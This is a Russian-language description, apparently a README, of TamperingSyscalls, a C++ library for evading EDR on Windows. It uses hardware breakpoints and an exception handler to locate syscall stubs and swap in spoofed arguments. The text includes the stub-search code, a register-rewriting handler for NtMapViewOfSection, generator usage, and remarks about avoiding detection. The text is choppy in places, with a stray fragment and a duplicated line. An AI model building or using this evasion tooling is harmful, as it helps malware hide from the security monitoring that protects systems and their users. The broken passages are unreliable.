
C++ библиотека, которая извлекает и подделывает аргументы системных вызовов Windows с помощью аппаратных точек останова и обработчиков исключений для обхода телеметрии EDR.
TamperingSyscalls — это оригинальный проект из двух частей, состоящий из спуфинга аргументов и получения системных вызовов, которые оба злоупотребляют EH (обработчиком исключений) для обхода EDR. Этот проект объединяет обе эти части, чтобы предоставить альтернативное решение прямым системным вызовам.
Манипулирование системными вызовами.
SetUnhandledExceptionFilter( OneShotHardwareBreakpointHandler );
0f05, в регистре Dr0.
Мы можем найти адрес заглушки системного вызова с помощью этого быстрого поиска байтов в памяти.BYTE stub[] = { 0x0F, 0x05 };
for( unsigned int i = 0; i < (unsigned int)25; i++ )
{
if( memcmp( (LPVOID)((DWORD_PTR)function + i), stub, 2 ) == 0 ) {
return (LPVOID)((DWORD_PTR)function + i);
}
}
if( ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_SINGLE_STEP )
if( ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_SINGLE_STEP )
{
if( ExceptionInfo->ContextRecord->Dr7 & 1 ) {
if( ExceptionInfo->ContextRecord->Rip == ExceptionInfo->ContextRecord->Dr0 ) {
ExceptionInfo->ContextRecord->Dr0 = 0;
mov r10, rcx, так как регистр RCX уничтожается следующими инструкциями.case NTMAPVIEWOFSECTION_ENUM:
ExceptionInfo->ContextRecord->R10 =
(DWORD_PTR)((NtMapViewOfSectionArgs*)(StateArray[EnumState].arguments))->SectionHandle;
ExceptionInfo->ContextRecord->Rdx =
(DWORD_PTR)((NtMapViewOfSectionArgs*)(StateArray[EnumState].arguments))->ProcessHandle;
ExceptionInfo->ContextRecord->R8 =
(DWORD_PTR)((NtMapViewOfSectionArgs*)(StateArray[EnumState].arguments))->BaseAddress;
ExceptionInfo->ContextRecord->R9 =
(DWORD_PTR)((NtMapViewOfSectionArgs*)(StateArray[EnumState].arguments))->ZeroBits;
В этом примере мы видим, как исправляются аргументы для NtMapViewOfSection.
Если вы хотите начать подделывать телеметрию EDR, можно изменить определения p[FunctionName], которые сейчас установлены в NULL.
Чтобы сгенерировать необходимые функции, используйте gen.py. Поддерживаются следующие варианты:
python gen.py NtOpenSection,NtMapViewOfSection,NtUnmapViewOfSection
Будут созданы 3 файла: TamperingSyscalls.cpp, TamperingSyscalls.h и main.cpp. Вы можете подключить #include "TamperingSyscalls.h" в свой проект. Мы можем вызывать функции, добавляя имя функции к p, например pNtOpenSection(...);
Мы не можем установить точку останова на NtSetThreadContext или его варианты, так как он используется для установки регистров отладки. Существует короткий промежуток времени, когда регистры отладки установлены, но он очень мал, и я не думаю, что нас обнаружат за удержание открытого Dr0.
Я опубликовал небольшую статью в блоге, затрагивающую эти техники.